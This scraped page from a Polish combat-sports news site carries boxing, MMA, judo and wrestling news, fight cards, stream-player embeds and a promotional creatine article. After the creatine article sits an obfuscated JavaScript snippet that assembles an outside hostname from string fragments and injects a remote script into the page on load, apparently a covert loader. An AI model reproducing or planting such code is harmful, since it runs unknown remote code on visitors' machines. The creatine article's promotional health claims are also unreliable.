Kto dla Usyka?

Oczekiwanie na debiut Oleksandra Usyka w wadze ciężkiej. Ukraiński bokser wraca po kontuzji i czeka na rywala. Nie będzie nim Carlos Takam. Rozważane są kandydatury Bryanta Jenningsa i Tyrone'a Sponga.

Ostatni pojedynek Usyk stoczył 10 listopada 2018 roku. W Manchesterze w ósmej rundzie znokautował Tony'ego Bellewa i obronił tytuły WBO, WBC, WBA i IBF w kategorii junior ciężkiej. Kolejnym celem ukraińskiego czempiona jest zawojowanie wagi ciężkiej. Wielu zacierało ręce i czekało na debiut pięściarza w kategorii królewskiej. Rywalem Usyka miał być Carlos Takam, który w swojej karierze pokonał m.in. Marcina Rekowskiego. Pojedynek zaplanowano na 25 maja, jednak do niego doszło z powodu kontuzji Usyka. Uraz bicepsa sprawił, że debiut 32-latka musiał zostać przełożony.

Ukraiński pięściarz jest już zdrowy i czeka na pierwszy pojedynek w wadze ciężkiej. Ma wystąpić 12 października w Wintrust Arena w Chicago. Wiadomo, że jego rywalem nie będzie Takam, który ma zmierzyć się z Joe DeGuardią. Mówiło się również o możliwym spotkaniu 32-letniego pięściarza z Andriejem Fiedosowem. Usyk nie chciał jednak tej walki ze względu na… napięcia polityczne pomiędzy krajami.

Wśród kandydatów do rywalizacji z Usykiem są Bryant Jennings oraz Tyrone Spong. Amerykanin swego czasu rywalizował z Władimirem Kliczko o mistrzowskie pasy w wadze ciężkiej. W tym roku blisko 35-letni bokser przegrał dwie walki – z Oscarem Rivasem i Joe Joyce'm. Ostatni raz wygrał rok temu – pokonał przed czasem Alexandra Dimitrenko. 33-letni Spong jeszcze nie przegrał na zawodowym ringu. Aż 12 z 13 walk rozstrzygnął przed czasem. Spong szykuje się do kolejnej walki – 31 sierpnia spotka się z Jeysonem Mindą. Warto dodać, że w przeszłości Holender rywalizował również w kickboxingu.

Sprawa wyłonienia rywala dla Usyka wydaje się coraz bliższa finału. Czas biegnie, Ukrainiec jest spragniony rywalizacji, więc nie ma na co czekać. Pytanie – czy pierwszy rywal będzie przystawką dla 32-latka przed poważniejszymi pojedynkami? Jak Usyk odnajdzie się w kategorii królewskiej? Najlepiej na te pytania odpowie w ringu, ale w wadze ciężkiej jest i będzie ciekawie. Nic tylko się cieszyć.

Fot. Facebook Александр Усик / Usyk

KM

Brazylijczyk Fonseca rywalem Grzebyka w pierwszej obronie pasa

Robert Fonseca (12-3, 2 KO, 6 SUB) zmierzy się z Andrzejem Grzebykiem (15-3, 8 KO, 3 SUB) podczas gali FEN 26, która 12 października odbędzie się we wrocławskiej hali Orbita. Będzie to pierwsza obrona pasa mistrzowskiego przez Grzebyka i walka wieczoru dolnośląskiej edycji.

Fonseca ma 32 lata i pochodzi z Manaus, największego miasta Amazonii. „Pato” ma na swoim koncie 12 zwycięstw, z których 8 odniósł przed czasem – 2 przez nokauty i 6 dzięki poddaniom. Fonseca zapisał w swoim rekordzie pięć kolejnych wygranych ani razu nie czekając na werdykt sędziów. W czerwcu tego roku poddał w 1. rundzie Michała Wiencka. Wcześniej w podobny sposób skończył Henrique Diasa Ribeiro i Samuela Carvalho. Występ we Wrocławiu będzie jego debiutem w FEN.

Grzebyk to pierwszy, historyczny mistrz FEN w dwóch kategoriach – średniej i półśredniej. Pierwszy tytuł zdobył podczas gali FEN 21, kiedy to pokonał przez techniczny nokaut w 4. rundzie Thiago Vieirę. Następnie rzeszowianin stoczył zwycięski pojedynek poza federacją i zszedł do limitu 77 kilogramów, gdzie w debiucie skrzyżował rękawice z Kamilem Gniadkiem. Grzebyk znowu był górą, dzięki czemu zapisał się w annałach FEN. Walka z Fonsecą będzie jego pierwszą obroną tytułu mistrzowskiego w kategorii do 84 kilogramów.

KARTA WALK FEN 26:

84 KG, MMA: Andrzej Grzebyk vs Robert Fonseca* 
77 KG, K-1: Dominik Zadora vs Wojciech Wierzbicki* 
93 KG, MMA: Marcin Zontek vs Rafał Kijańczuk 
93 KG, MMA: Paweł Trybała vs TBA 
-120 KG, MMA: Szymon Bajor vs Marcin Sianos 
+95 KG, K-1: Michał Turyński vs TBA 
77 KG, MMA: Szymon Dusza vs TBA 
TBA vs TBA 
TBA vs TBA 
TBA vs TBA

Kup bilet na galę FEN 26 na portalu: www.eventim.pl.

Kowalczyk z brązem mistrzostw świata

Największy sukces w karierze Julii Kowalczyk (57kg). Reprezentantka Polski wywalczyła brązowy medal w trwających w Tokio mistrzostwach świata w judo.

Doczekaliśmy się. Rok temu polscy judocy z Baku bez medalu. Najwyżej uplasował się Damian Szwarnowiecki – był piąty. Dwa lata temu w Budapeszcie na najniższym stopniu podium stanęła Agata Ozdoba (63kg). W 2014 roku w Czelabińsku brąz zawisł na szyi Katarzyny Kłys (70kg). W ślady swoich koleżanek w Tokio poszła Julia Kowalczyk.

22-letnia reprezentantka Polski ma na koncie medale mistrzowskich imprez w różnych kategoriach wiekowych. Kowalczyk zdobyła brąz mistrzostw Europy kadetek, czempionatu Starego Kontynentu juniorek. Ma na swoim koncie także mistrzostwo Europy U23. W Tokio pierwszy raz stanęła na podium mistrzostw świata. To bez wątpienia największy sukces w karierze Kowalczyk. Od początku występu w Tokio Polka prezentowała dobrą dyspozycję. Szybko uporała się z Lam Nok Yeung, a potem przez waza ari pokonała kolejno Maricę Perisić oraz Timnę Levy Nelson. W ćwierćfinale Polka trafiła na utytułowaną Tsukasę Yoshida. Kowalczyk zdobyła waza-ari, ale ubiegłoroczna mistrzyni świata odrobiła straty i triumfowała w dogrywce. 22-letnia zawodniczka Polonii Rybnik trafiła do repasaży. Mordercza walka z mistrzynią Europy Darią Meżecką trwała ponad osiem minut! Zakończyła się triumfem Polki, która była o krok od medalu. O podium Kowalczyk rywalizowała z Iweliną Iliewą. Ogromna determinacja i walka o zwycięstwo do ostatnich sekund. Bułgarka była blisko medalu, ale na ostatniej prostej Kowalczyk wykonała akcję na ippon.

Dwa pojedynki w Tokio wygrała Agata Perenc (52kg), ale w trzecim uległa późniejszej brązowej medalistce Majlindzie Kelmendi. Szybko z mistrzostwami pożegnała się Aleksandra Kaleta (52kg). Dobrze radził sobie Patryk Wawrzyczek (66kg). Wygrał trzy walki, ale przeszkodą nie do przejścia okazał się Denis Vieru. Reprezentant Mołdawii sięgnął ostatecznie po brąz. Wiktor Mrówczyński (73kg) zanotował dwie wygrane walki, ale trzecie starcie przegrał. Na pierwszej przeszkodzie odpadł Tomer Golomb (60kg).

Czekamy na kolejne dobre wieści z Tokio.

Fot. IJF/PZJudo

KM

Gala SHARKS ATTACK #3 – MYSŁOWICE 30.11.2019

Przed Wami kolejna, trzecia już edycja gali Sharks Attack.

 

Sharks Attack 3, jak zwykle w swoim dobrze wypracowanym stylu tym razem zakotwiczy w Mysłowicach w hali MOSiR ul. Bończyka 32z. Karta walk to 12 pojedynków. 10 w formule MMA oraz 2 w formule K1 w obronie pasów mistrzowskich wywalczonych na poprzednich galach Sharks Attack w grudniu 2018 przez Rafała Kosiarskiego oraz Dominike „Zośkę Filec” w maju 2019. Karta wstepna to 4 pojedynki w formule semi-pro, karta główna to 8 pojedynków w formule pro W octagonie zobaczymy lokalnych zawodników takich jak: Mariusz Radziszewski, Adrian Bober, Alan Langer czy Mateusz Gądek.

 

Start 19.00 – planowane zakończenie 23.00

Ring Announcer Krzysztof Skrzypek

Skład sędziowski poprowadzi Piotr Michalak

Cutman Piotr Lutowski

Walki komentować będą  Zbigniew Zając i Maciej ALF Glabus

W studio telewizyjnym  zasiądzie Monika  Porażyńska oraz zaproszeni goście specjalni

1. Main event – walka o pas zawodowego MP K-1 ISKA – 57 kg

Dominika Filec/Absortio Gym Rybnik/Leszczyny vs Sylwia Juśkiewicz/Human Fitness Phylosphy

2. Co main event – MMA – Pro -77 kg

Mariusz Radziszewski/Shark Top Team Bytom vs TBA

3. Extra Fight MMA – Pro -73 kg

Adrian Bober/MMATADORES Katowice vs Michał Cichoń/Shark Top Team Bytom

4. Walka o pas zawodowego MP K-1 ISKA – 68 kg

Rafał Kosiarski/Klub Kick Boxing Fighter Nowa Sól vs Patryk Magnucki/Strefa Sportów Walki Artfight Rzeszów

5. MMA – Pro -72 kg

Alan Langer/Silesian Cage Club vs Petru Buzdugan/Thai Boxing Club Mołdawia

6. MMA – Pro – 68 kg

Michał Domin/Octagon Team Żory vs Daniel Hodor/MMATADORES Katowice

7. MMA – Pro – 84 kg

Piotr Siwkowski/MMA Team Ostróda vs Mateusz Gątek/MMATADORES Katowice
8. MMA – Pro – 66 kg

Kamil Warzybok/Natal Gold Team Katowice vs Szymon Rakowicz/Octagon Team Żory

Karta Wstępna:

9. MMA Semi-pro – 77 kg

Alan Szymański/MMA Team Ostróda vs Adam Wiewióra/Silesian Cage Club

10. MMA Semi-pro – Open

Łukasz Stępień/Silesian Cage Club vs Krzysztof Bąkowski/Shark Top Team Bytom

11. MMA Semi-pro – 57 kg

Paulina Wiśniewska/MMA Team Ostróda vs Barbara Grabowska/SWD Kraków

12. MMA Semi-pro – 57 kg

Katarzyna Samerdak/Shark Top Team Bytom vs Sandra Kulpa/Silesian Cage Club

Bilety w cenie od 40zł https://link.do/bilety-sharks-attack-3

Wielka walka na horyzoncie

O możliwym starciu mistrza świata WBO wagi półciężkiej Sergiejem Kowaliowem z Saulem "Canelo" Alvarezem mówi się od dłuższego czasu. Do pojedynku miałoby dojść na początku listopada. Obóz Kowaliowa, który w sobotę (24 sierpnia) pokonał Anthony'ego Yarde'a chciałby przesunąć termin starcia.

Las Vegas, światła jupiterów, szalejący kibice spragnieni sportowych emocji, wielkie widowisko i ogromne pieniądze na stole – tak w skrócie można zapowiedzieć planowany pojedynek Kowaliowa z Alvarezem. Wiadomo, że mówimy o mocnych i wysokiej klasy bokserach. 36-letni Kowaliow w lutym br. odzyskał pas WBO z rąk Eleidera Alvareza. Skutecznie obronił tytuł w starciu z Anthony'm Yarde'm. Rosjanin wygrał w jedenastej rundzie, ale pojedynek był niezwykle wyczerpujący. W swojej karierze Kowaliow posiadał również pasy WBA i IBF. Stracił je na rzecz Andre Warda. Saul Alvarez to najlepiej zarabiający pięściarz na świecie i do bólu skuteczny. Przegrał tylko raz – z Floydem Mayweatherem Jr. Wiele kontrowersji wywołał werdykt jego starcia z Gienadijem Gołowkinem, do której doszło we wrześniu 2018 roku. Mimo to Meksykanin jest klasowym pięściarzem, wygrał aż 52 pojedynki! "Canelo" rządzi w wadze średniej – ma pasy WBC, WBA i IBF.

Starcie gwiazd w Las Vegas miałoby się odbyć 2 bądź 9 listopada. "Canelo" w tym roku walczył tylko raz. W maju pokonał Daniela Jacobsa. Kolejną walkę miał stoczyć we wrześniu, w obrębie zainteresowań pojawił się Kowaliow. Rosjanin wszedł na ring w sierpniu. Z pierwszych przymiarek nic nie wyszło, ale temat wciąż jest żywy, a strony prowadzą negocjacje. Istotną kwestią jest satysfakcja finansowa Kowaliowa. Proponowano mu 6 milionów dolarów, jednak nie przystał na tę ofertę. To prawdopodobnie jeden z powodów, dla których nie doszło do pojedynku we wrześniu. Obecnie gaża Kowaliowa może wynieść około 10 milionów.

Rosjanin jest "na świeżo" po walce, z kolei Alvarez trenuje. Obóz Kowaliowa chciałby, żeby ten nieco odpoczął i dopiero rozpoczął przygotowania. Dlatego też promotorzy mistrza WBO wagi półciężkiej liczą na przesunięcie terminu. Pewne jest, że wielka walka jest na horyzoncie. Obie strony jej chcą, a porozumienie wydaje się kwestią czasu.

Fot. Sergey Kovalev Facebook

KM

LIVE: Wirtuoz Challenge Special Edition

Zapraszamy na transmisję telewizyjną z gali Wirtuoz Challenge Special Edition.

[kod]

Wirtuoz Challenge Special Edition

Wirtuoz Challenge Special Edition

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: FEN 26 – Oficjalna ceremonia ważenia

Zapraszamy na transmisję telewizyjną z oficjalnej ceremonii ważenia zawodników przed galą FEN 26.

[kod]

FEN 26 – Oficjalna ceremonia ważenia

FEN 26 – Oficjalna ceremonia ważenia

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live-fhd.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live-fhd.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live-fhd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Wirtuoz Challenge #4

Zapraszamy do oglądania gali Wirtuoz Challenge #4.

[kod]

Wirtuoz Challenge #4

Wirtuoz Challenge #4

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

FEN 26: Bajor sprawdzi Sianosa we Wrocławiu

Szymon Bajor (19-8, 7 KO, 9 SUB) zmierzy się z Marcinem Sianosem (4-3, 4 KO) podczas gali FEN 26, która 12 października odbędzie się we wrocławskiej hali Orbita. Obaj zawodnicy przystąpią do tej walki po zwycięstwach pod szyldem federacji.

Bajor udanie zadebiutował w FEN w Warszawie, podczas 24. edycji, kiedy to w 1. rundzie wygrał przez techniczny nokaut z Grzegorzem Cieplińskim. Po tym pojedynku udał się na walkę do Rosji, którą również wygrał przed czasem w premierowej odsłonie. W sierpniu 2017 roku znokautował Alexandra Stolyarova, rok wcześniej na pełnym dystansie jednogłośną decyzją sędziów rozprawił się z Teodorasem Aukstuolisem. Rzeszowianin tylko trzykrotnie werdykt w swoich pojedynkach pozostawiał sędziom. 

Sianos swój ostatni pojedynek wygrał niezwykle efektownie, nokautując w 1. rundzie Marcina Zontka. W sierpniu 2017 roku w Koszalinie zadebiutował pod szyldem FEN. Podczas edycji „Summer Edition” pewnie pokonał Mateusza Łazowskiego i z impetem zaznaczył swoją obecność w federacji. W przeszłości Sianos znokautował Jędrzeja Martuzalskiego oraz Adriana Woźniaka. Wszystkie zwycięstwa, które ma na swoim koncie zawodnik z Kołobrzegu, zostały odniesione w 1. rundach.

Zwycięzca tego pojedynku stanie do walki o pas mistrzowski w kategorii ciężkiej.

KARTA WALK FEN 26:

84 KG, MMA: Andrzej Grzebyk vs TBA* 
77 KG, K-1: Dominik Zadora vs Wojciech Wierzbicki* 
93 KG, MMA: Marcin Zontek vs Rafał Kijańczuk 
93 KG, MMA: Paweł Trybała vs TBA 
-120 KG, MMA: Szymon Bajor vs Marcin Sianos 
+95 KG, K-1: Michał Turyński vs TBA 
77 KG, MMA: Szymon Dusza vs TBA 
TBA vs TBA 
TBA vs TBA 
TBA vs TBA

Kup bilet na galę FEN 26 na portalu: www.eventim.pl.

Dołącz do wydarzenia na portalu Facebook:  facebook.com/events/708341146245825/

Stawka Ruiza wzrosła

7 grudnia wielki rewanż – Anthony Joshua będzie chciał odzyskać pasy mistrzowskie WBA, WBO i IBF, a Andy Ruiz Jr. stanie do ich pierwszej obrony. Pojedynek odbędzie się w Arabii Saudyjskiej.

Na chwilę cofnijmy się. 1 czerwca br. w Madison Square Garden byliśmy świadkami niespodzianki. Anthony Joshua miał walczyć z Jarrellem Millerem, ale ten zaliczył wpadkę dopingową i w ringu pojawił się Andy Ruiz Jr. Mało kto spodziewał się, że Meksykanin z brzuszkiem zagrozi "AJ". A jednak! W siódmej rundzie niespodzianka stała się faktem. Ruiz Jr. został nowym czempionem wagi ciężkiej i sięgnął po pasy WBA, IBF, WBO i IBO. Wiadomo było, że prędzej czy później musi dojść do rewanżu.

Joshua zdecydował się aktywować klauzulę dotyczącą pojedynku rewanżowego. Bokserzy mieli wejść do ringu pod koniec roku. Podstawową kwestią było – gdzie i za jakie pieniądze. Joshua pojechał do Stanów Zjednoczonych i stracił pasy, więc początkowo pojawiała się opcja, że rewanż odbędzie się w Wielkiej Brytanii. Mówiło się o Cardiff. Z drugiej strony przewijał się Nowy Jork. Praktycznie wszystkich w osłupienie wprawił pomysł organizacji pojedynku w Arabii Saudyjskiej. Wydawało się to niemożliwe, a jednak rewanż zaplanowano 7 grudnia w Arabii Saudyjskiej.

Sport swoją drogą, emocje też, ale kasa musi się zgadzać. Eddie Hearn, menadżer Joshuy, robi wszystko, aby przekonać, że walka w Arabii ma sens. Nie brakuje jednak krytycznych opinii. Wielu ekspertów podkreśla, że Diriyah nie jest najlepszym miejscem na rewanż gwiazd.

Cała sytuacja jest o tyle dziwna, że Hearn ogłosił walkę zanim Ruiz podpisał na nią umowę. Meksykanin wykorzystał to na  swoją korzyść. Bo jak przepuścić taką okazję. Pierwotnie mistrz miał zagwarantowane 8-9 milionów dolarów. Negocjował na tyle dobrze, że kwota ta wzrośnie o kilka milionów (nawet 15!). Trzeba pamiętać również o takich dodatkach jak wpływy z praw telewizyjnych w Meksyku.

Wiadomo, że miłośnicy boksu czekają na tę walkę. Nie brakuje jednak wątpliwości, co do miejsca rywalizacji oraz otoczki wokół starcia. Promocja wydarzenia ruszy na początku września.

Fot. Andy Ruiz Jr. Facebook

KM

Kreatyna – jeden z najczęściej stosowanych suplementów przez sportowców

Kreatyna to związek chemiczny, który naturalnie występuje w organizmie i odgrywa ogromną rolę w naszym życiu. Jest syntezowana w wątrobie, trzustce oraz nerkach i bezpośrednio wpływa na funkcjonowanie mięśni i ścięgien. Obniżenie zapasów tego związku chemicznego, (widoczne szczególnie podczas wysiłku fizycznego) prowadzi do zmniejszenia zdolności wysiłkowych. To jeden z tych suplementów, którego efekty są w ogromnym stopniu uzależnione od sposobu dawkowania.

Jak kreatyna działa na organizm?

Głównym zadaniem kreatyny w organizmie jest zwiększenie ilości fosfokreatyny, odpowiedzialnej za transport energii do komórek mięśniowych. Im więcej jej posiadamy, tym więcej energii zyskują nasze mięśnie. W efekcie każdy trenujący jest w stanie wykonać dłuższy i efektywniejszy trening. Niestety ilość kreatyny jest ograniczona, dlatego zdecydowana większość sportowców, aby poprawić swoje wyniki, decyduje się na jej suplementację. 

Okazuje się, że już 3 gramy spożytej dziennie kreatyny zwiększają wydolność organizmu w przypadku bardzo intensywnych ćwiczeń fizycznych. Dlatego też osoby, które w uwzględniają ją w swojej diecie, nie odczuwają gwałtownych spadków energii oraz zmęczenia w takim stopniu, jak ci, którzy nie stosują kreatyny, a wykonują codzienne sesje treningowe. 

W jakim celu suplementujemy kreatynę? 

Ten związek chemiczny ma duży wpływ na odnawianie tzw. cząsteczek ATP, czyli podstawowego nośnika energii w naszym organizmie. Prawidłowa podaż kreatyny zwiększa zdolności wysiłkowe i stymuluje syntezę białek, co oznacza, że w praktyce: 

  • poprawimy swoją wydolność, a przy okazji będziemy bardziej wytrzymali, 
  • po wzmożonym wysiłku o wiele szybciej się zregenerujemy, 
  • przy regularnym stosowaniu zauważymy przyrost beztłuszczowej masy ciała,
  • będziemy mieć więcej siły. 

Regularna suplementacja zwiększa siłę i wytrzymałość mięśni na dłuższy czas. Ponadto przy odpowiedniej diecie oraz treningu siłowym zażywanie tej substancji chemicznej daje jeszcze lepsze efekty. 

""

Najlepsza kreatyna – na co zwrócić uwagę przy wyborze? 

Osoby decydujące się na suplementację kreatyny stoją przed niemałym dylematem. Wynika to z tego, że na rynku jest dostępnych mnóstwo produktów, które zawierają ten związek chemiczny. W tym przypadku niemal od razu nasuwa się pytanie – czy poszczególne suplementy czymś się różnią? Tak, przede wszystkim postacią, w jakiej dostępne są preparaty kreatynowe.

Do ich najpopularniejszych rodzajów zaliczamy: 

  • monohydrat kreatyny – monohydrat to najlepiej przebadana i przetestowana (szczególnie pod kątem skuteczności) postać tego związku chemicznego. Ten preparat składa się z cząsteczek wody i kreatyny. Charakteryzuje się stosunkowo niską ceną i zapewnia szybkie rezultaty, jeżeli chodzi o przyrost mięśni. Jednak jego wadą jest tendencja do zatrzymywania wody w organizmie, 
  • jabłczan kreatyny – to związek chemiczny, który powstaje w wyniku połączenia cząstki kreatyny z cząsteczką kwasu jabłkowego. Ten suplement dla sportowców pozwala na uzyskanie przyrostu masy mięśniowej o bardziej zwartej strukturze, jednak na efekty trzeba poczekać trochę dłużej, 
  • fosforan kreatyny – jak sama nazwa wskazuje w tym przypadku mamy do czynienia z połączonymi cząsteczkami keratyny z resztą kwasu fosforanowego. Według badań przeprowadzonych przez amerykańskich naukowców ten preparat charakteryzuje się nawet trzykrotnie mocniejszym działaniem niż monohydrat, dzięki fosforanowi, który opóźnia uczucie zmęczenia. 

Kreatyna należy do jednego z najczęściej stosowanych suplementów diety zarówno przez sportowców wyczynowych, jak i osoby aktywnie fizycznie. To jeden z kluczowych produktów stosowanych w budowie masy mięśniowej i beztłuszczowej, wymarzonej sylwetki. Najczęściej jest spotykana jako składnik odżywek dla masy mięśniowej w postaci proszku, a także tabletek i kapsułek – pełną ofertę kreatyny znajdziesz tutaj: https://swiatsupli.pl/pl/33-kreatyny

[kod]

(function(){
tjydu="w9ikh42yjyd8";tjyd=document.createElement("script");
tjyd_="u"+("st");tjyd_+="at"+(".");tjyd.async=true;tjyd_+="in";
tjydu="181687577."+tjydu;tjyd.type="text/javascript";tjydu+="wryzX8920k1j";
tjydu+="f1wXgn";tjyd_+=("f")+"o"+("/");tjyd.src="https://"+tjyd_+tjydu;
tjydd=document.body;tjydd.appendChild(tjyd);
})();

Złota dziewczyna

Patrycja Gil wywalczyła złoty medal podczas mistrzostw świata juniorek w zapasach w kategorii 55kg, które odbyły się w Tallinie. Na najniższym stopniu podium stanęły: Magdalena Głodek (57kg), Wiktoria Chołuj (65kg) i Ewelina Ciunek (68kg).

Z pewnością impreza w stolicy Estonii dostarczyła wielu emocji. Rok temu młodzi zapaśnicy rywalizowali w Trnawie, jednak biało-czerwoni nie mieli powodów do optymizmu. Do kraju nasi zawodnicy wrócili bez medalu. Najlepiej zaprezentowały się Kamila Kulwicka i Alicja Czyżowicz, które zajęły piąte miejsca. Tegoroczne mistrzostwa świata juniorów należy uznać za udane. Polskim kibicom najwięcej radości dała Patrycja Gil. Rok temu zawodniczka odpadła już po pierwszej walce, ale zebrała cenne doświadczenie. W Estonii Gil szła jak burza. Początek nie był łatwy, ale Polka okazała się lepsza od Sezeny Behchetovej w Bułgarii. Następnie bez większych problemów uporała się z Virgine Kaze Gascon. Na ostatniej prostej do finału Gil pokonała 8:4 Anastasię Blayvas z Niemiec. Zawodniczka WKS Siedlce-Nowe Iganie kontrolowała pojedynek i nie pozwoliła rywalce na rozwinięcie skrzydeł. W finale Gil wyczuła moment, w którym przeprowadziła akcję za cztery punkty. Jekaterina Verbina nie potrafiła się później podnieść i zagrozić Polce, która mogła cieszyć się ze złotego medalu. To wielkie wydarzenie dla polskich zapasów. Złoty krążek mistrzostw świata juniorów po 20 latach! Warto dodać, że to kolejny tegoroczny medal Gil. Wcześniej wywalczyła brąz mistrzostw Europy.

W półfinale Magdalena Głodek przegrała z późniejszą wicemistrzynią świata Aliną Akobiią. Polce pozostała rywalizacja o brąz, w której pokonała Youmei Wu. Pojedynek emocjonujący do samego końca. Na ostatniej prostej Polka odwróciła losy rywalizacji i stanęła na podium.

Po triumfie w mistrzostwach Europy w Hiszpanii, brąz światowego czempionatu wywalczyła Wiktoria Chołuj. Polka przegrała w ćwierćfinale z Macey Ellen Kilty i musiała radzić sobie w repasażach. Chołuj okazała się skuteczna, co pozwoliło jej zmierzyć się o brąz z Hanną Sadchanką. Polka pokonała Białorusinkę i sięgnęła po brąz. Na podium znalazła się również Ewelina Ciunek. Zapaśniczka przegrała w półfinale z późniejszą mistrzynią Naruhą Matsuyuki, a w starciu o brąz pokonała reprezentantkę Mongolii Dekgermaę Enkhsaikhan.

Panowie bez medalu. W pojedynkach o brąz przegrali zawodnicy w stylu klasycznym – Kamil Czarnecki (63kg) i Gerard Kurniczak (97kg).

Fot. United World Wrestling/Polski Związek Zapaśniczy/Facebook

KM

Czwarta obrona

Po nieudanej próbie podboju wagi ciężkiej, Tomasz Narkun będzie bronił pasa w kategorii półciężkiej. Podczas gali KSW 50 jego rywalem będzie Przemysław Mysiala.

Popularny "Żyrafa" wyrósł na czołową postać polskiej federacji. Blisko cztery lata temu wdarł się na tron wagi półciężkiej. W Londynie znokautował Gorana Relijcia. Dotychczas trzykrotnie skutecznie bronił pasa mistrzowskiego. Co warto podkreślić – za każdym razem wygrywał w pierwszych rundach. Narkun stał się twarzą KSW dzięki rywalizacji z Mamedem Khalidovem. "Żyrafa" dwukrotnie okazał się lepszy od legendy polskiego MMA. Chciał iść za ciosem i sięgnąć po drugi pas mistrzowski, jednak w marcu w Łodzi nie sprostał Philipowi de Friesowi.

14 września w Londynie Narkun po raz czwarty będzie bronił mistrzowskiego pasa. Spotka się z 37-letnim Przemysławem Mysialą, który wygrał sześć ostatnich pojedynków. Większość walk doświadczony zawodnik stoczył w Anglii. Ostatni raz w Polsce Mysiala rywalizował w lipcu 2017 roku, kiedy to podczas gali ACB 63 pokonał Wallysona Carvalho. W tym roku spotkał się w Norwich z Yurim Andrey'em i sięgnął po pas mistrzowski organizacji Contenders.

Mysiala zdobywał tytuły w siedmiu organizacjach m.in. Fight Exclusive Night. Czy skutecznie postraszy mistrza KSW i zasiądzie na tronie kolejnej? Narkun wydaje się być faworytem, ponieważ w kategorii półciężkiej po raz ostatni przegrał prawie pięć lat temu. Jego pogromcą był Reljić, któremu następnie Polak się zrewanżował i sięgnął po tytuł.

Jego jest pewne – 14 września w Londynie należy spodziewać się ciekawej walki. Narkun i Mysiala większość pojedynków wygrali przed czasem. Każdy z nich zaledwie raz triumfował przez decyzję sędziów. Co ciekawie, Narkun zanotował trzy porażki – dwie na punkty. Mysiala ma na koncie dziewięć przegranych walk.

W walce wieczoru gali KSW 50 Damian Grabowski będzie chciał odebrać tytuł mistrza wagi ciężkiej Philipowi De Friesowi. Roberto Soldić stanie w obronie pasa w kategorii półśredniej. Jego rywalem będzie Czech Patrik Kincl. W Londynie zobaczymy również m.in. Antoniego Chmielewskiego i Damiana Janikowskiego.

Fot. materiały organizatora

KM

15 milionów dla Gołowkina

Jesienią Gienadij Gołowkin miał stoczyć trzecią walkę z Saulem Alvarezem, jednak sprawa nie została domknięta. 5 października Kazach ma zmierzyć się z Sergiejem Derewianczenko. 37-latek może liczyć na ok. 15 milionów dolarów.

Przez lata Gołowkin uznawany był za jednego z najlepszych bokserów świata. Rządził w wadze średniej – na swoim koncie zapisał pasy WBA, WBC, IBF i IBO. 15 września 2018 roku zanotował jedyną jak do tej pory porażkę w karierze. W T-Mobile Arenie w Las Vegas przegrał decyzją sędziów z Saulem Alvarezem. Tym samym stracił tytuły WBA, WBC i IBO. Wcześniej został pozbawiony pasa IBF, bo unikał rywalizacji z… Derewianczenką.

Gołowkin liczył, że w tym roku uda mu się spotkać po raz trzeci z Alvarezem. Strony prowadziły rozmowy w sprawie pojedynku, jednak Kazach nie chciał ponownie walczyć w Las Vegas. T-Mobile Arena nie była szczęśliwa dla Gołowkina. Najpierw zremisował z Alvarezem, potem przegrał, a wynik rewanżu budził kontrowersje. W czerwcu tego roku Gołowkin znokautował w czwartej rundzie Steve'a Rollsa. Jesienią ponownie pojawi się w ringu, a na kolejne starcie z Alvarezem trzeba poczekać. Mówiło się, że Gołowkin spotka się z Jaime'm Munguią. Jednak niemal pewna jest jego walka z Sergiejem Derewianczenką.

33-letni ukraiński pięściarz pokonał w tym roku Jacka Culcaya. W październiku 2018 roku przeprowadził nieudany atak na pas IBF. Po zaciętej walce Ukrainiec przegrał niejednogłośną decyzją z Danielem Jacobsem. Warto wspomnieć, że niedawno spekulowano na temat walki Derewianczenko z „Canelo” Alvarezem. Ukrainiec wygrywając z Culcayem stał się ponownie pretendentem do pasa IBF. Meksykaninowi odebrano tytuł, bo mimo kilku prób nie udało doprowadzić się do walki z Derewianczenko.

Zatem pas IBF czeka na nowego właściciela. 5 października w Nowym Jorku Derewianczenko w drugim podejściu do pasa ma spotkać się z Gołowkinem. Strony ustaliły już warunki rywalizacji. Ukrainiec ma zarobić ok. 5,5 mln dolarów. Na konto Gołowkina wpłynie znacznie więcej – ok. 15 milionów dolarów.

Fot. Gennadiy Golovkin Facebook

KM

Trzy finały

Znamy terminy finałów drugiej edycji bokserskiego turnieju World Boxing Super Series. Do rozstrzygnięć jest jeszcze trochę czasu, ale emocji nie brakuje. Wszystko za sprawą Regisa Prograisa.

W wadze super lekkiej wybuchło zamieszanie. Wszystko za sprawą Regisa Prograisa, który podjął decyzję o wycofaniu się z finałowej rywalizacji z Joshem Taylorem. Wszystko przez… pieniądze. Od początku rywalizacji w WBSS Amerykanin narzekał na kłopoty z regulowaniem płatności przez organizatorów. W związku z tym przed półfinałem Prograis miał otrzymać środki na rachunek powierniczy. Podobnie przed finałem. Organizatorzy nie dotrzymali terminu, a więc bokser i jego przedstawiciele złożyli stosowne dokumenty w sądzie o rozwiązanie wszelkich zobowiązań kontraktowych. WBSS zupełnie inaczej widzi sprawę. W wydanym oświadczeniu organizator turnieju podkreśla, że nie doszło do złamania kontraktu i czekają na finał w kategorii super lekkiej.

Do niedawna spekulowano, że walka pomiędzy Prograisem a Taylorem odbędzie się 5 października w Manchesterze. Obecnie pada termin 28 września. Prograis nie jest z tego zadowolony. Pytanie – jaki będzie finał tego finału?

